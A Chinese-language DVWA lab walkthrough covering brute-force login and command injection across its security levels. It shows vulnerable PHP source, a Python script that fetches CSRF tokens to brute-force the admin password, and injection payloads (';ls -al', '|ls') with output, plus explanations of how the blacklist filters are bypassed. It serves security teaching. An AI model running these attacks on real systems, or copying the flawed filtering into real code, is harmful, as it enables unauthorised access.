查看代码,首先对用户输入进行了SQL转义,防止SQL注入,然后使用密码的md5值与数据库内容比较,最后,如果登录失败会sleep两秒才返回结果
<?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = mysql_real_escape_string( $user ); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = mysql_real_escape_string( $pass ); $pass = md5( $pass ); // Check the database $query = "SELECT * FROM
users
WHERE user = '$user' AND password = '$pass';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, "avatar" ); // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; } mysql_close(); } ?>
High
-
抓取该难度的数据包,发现多了user_token参数,用来防重放和CSRF攻击的
GET /vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=c18154ad7b06d481481a6aeed7240dad HTTP/1.1 Host: 192.168.137.146:81 Cookie: PHPSESSID=8pa0b1ea98sob5ieepfs7s5ul3; security=high User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1
-
这时候爆破每次发包就需要先发一次页面请求,然后从响应中获取user_token,然后将登录请求中的user_token进行替换,虽然yakit的热加载可以直接完成该任务,但是我这里还是用python脚本来爆破试试
import requests import re def read_token(): response = requests.get(url='http://192.168.137.146:81/vulnerabilities/brute/', cookies={'PHPSESSID': '8pa0b1ea98sob5ieepfs7s5ul3', 'security':'high'}).text user_token = re.findall(r"(?<=name='user_token' value=')(.*?)(?=')", response) return user_token[0] def brute_force(): file = open('tmp.txt', 'r') passwords = file.readlines() for pw in passwords: pw = pw.strip() response = requests.get(url='http://192.168.137.146:81/vulnerabilities/brute/', params={'username': 'admin', 'password': pw, 'Login': 'Login', 'user_token': read_token()}, cookies={'PHPSESSID': '8pa0b1ea98sob5ieepfs7s5ul3','security':'high'}) if 'Welcome to the password protected area admin' in response.text: print(f'Password found: {pw}, delay: {response.elapsed.total_seconds()}') break else: print(f'password failed: {pw}, delay: {response.elapsed.total_seconds()}') if __name__ == '__main__': brute_force()
Impossible
-
查看代码,限制了最大失败次数,达到次数会锁定15分钟,每次失败会更新数据库记录信息
<?php // 检查是否提交了登录表单 if( isset( $_POST[ 'Login' ] ) ) { // 检查 Anti-CSRF token,防止跨站请求伪造攻击 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 清理用户名输入 $user = $_POST[ 'username' ]; $user = stripslashes( $user ); // 去掉反斜杠 $user = mysql_real_escape_string( $user ); // 防止SQL注入 // 清理密码输入 $pass = $_POST[ 'password' ]; $pass = stripslashes( $pass ); // 去掉反斜杠 $pass = mysql_real_escape_string( $pass ); // 防止SQL注入 $pass = md5( $pass ); // 对密码进行MD5加密 // 设置默认值 $total_failed_login = 3; // 允许失败登录的次数 $lockout_time = 15; // 锁定时间(分钟) $account_locked = false; // 账户是否被锁定 // 检查数据库(检查用户信息) $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); // 绑定用户名参数 $data->execute(); // 执行查询 $row = $data->fetch(); // 获取结果 // 检查用户是否被锁定 if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { // 计算用户何时可以再次登录 $last_login = $row[ 'last_login' ]; // 上次登录时间 $last_login = strtotime( $last_login ); // 转换为时间戳 $timeout = strtotime( "{$last_login} +{$lockout_time} minutes" ); // 计算锁定时间 $timenow = strtotime( "now" ); // 当前时间 // 检查是否已过锁定时间,如果没有,则锁定账户 if( $timenow > $timeout ) $account_locked = true; } // 检查数据库(用户名是否匹配密码) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); // 绑定用户名参数 $data->bindParam( ':password', $pass, PDO::PARAM_STR ); // 绑定密码参数 $data->execute(); // 执行查询 $row = $data->fetch(); // 获取结果 // 如果是有效的登录... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // 获取用户详细信息 $avatar = $row[ 'avatar' ]; // 用户头像 $failed_login = $row[ 'failed_login' ]; // 失败登录次数 $last_login = $row[ 'last_login' ]; // 上次登录时间 // 登录成功 echo "<p>Welcome to the password protected area <em>{$user}</em></p>"; echo "<img src=\"{$avatar}\" />"; // 用户成功登录,给出此前账号可能被爆破的警告 if( $failed_login >= $total_failed_login ) { echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>"; } // 重置失败登录次数 $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); // 绑定用户名参数 $data->execute(); // 执行更新 } else { // 登录失败 sleep( rand( 2, 4 ) ); // 随机延迟,防止暴力破解 // 给用户一些反馈 echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; // 更新失败登录次数 $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); // 绑定用户名参数 $data->execute(); // 执行更新 } // 设置上次登录时间 $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); // 绑定用户名参数 $data->execute(); // 执行更新 } // 生成 Anti-CSRF token,防止跨站请求伪造攻击 generateSessionToken(); ?>
Command Injection
Low
-
无限制,加分号在后面执行其他命令。
http://192.168.137.146:81/vulnerabilities/exec/# ... ip=%3Bls+-al&Submit=Submit 显示 total 4 drwxrwxr-x. 4 www-data www-data 49 Oct 5 2015 . drwxrwxr-x. 12 www-data www-data 209 Oct 5 2015 .. drwxrwxr-x. 2 www-data www-data 22 Oct 5 2015 help -rw-rw-r--. 1 www-data www-data 1830 Oct 5 2015 index.php drwxrwxr-x. 2 www-data www-data 77 Oct 5 2015 source
Medium
-
用分号不起作用,使用管道符执行后面的命令即可
http://192.168.137.146:81/vulnerabilities/exec/# ... ip=%7Cls&Submit=Submit help index.php source
-
查看代码, 将
&&、;
都替换为空了<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
High
-
依旧没有过滤管道符,使用Medium的方法同样可行,查看代码发现过滤了管道符,但是需要管道符后面有空格才会替换
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
Impossible
-
查看代码,校验CSRF Token,
<?php // 检查是否提交了表单 if( isset( $_POST[ 'Submit' ] ) ) { // 检查 Anti-CSRF token,防止跨站请求伪造攻击 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 获取用户输入的 IP 地址 $target = $_REQUEST[ 'ip' ]; // 去除输入中的反斜杠(如果存在) $target = stripslashes( $target ); // 将 IP 地址按点号分割 $octet = explode( ".", $target ); // 检查分割后的每个部分是否都是数字,并且确保分割结果为四个部分 if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // 如果所有四个部分都是数字,则重新组合成完整的 IP 地址 $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // 根据操作系统执行 ping 命令 if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // 如果是 Windows 系统 $cmd = shell_exec( 'ping ' . $target ); } else { // 如果是 *nix 系统(如 Linux 或 macOS) $cmd = shell_exec( 'ping -c 4 ' . $target ); } // 将 ping 命令的输出显示给用户 echo "<pre>{$cmd}</pre>"; } else { // 如果输入的 IP 地址无效,提示用户 echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } } // 生成 Anti-CSRF token,用于防止跨站请求伪造攻击 generateSessionToken(); ?>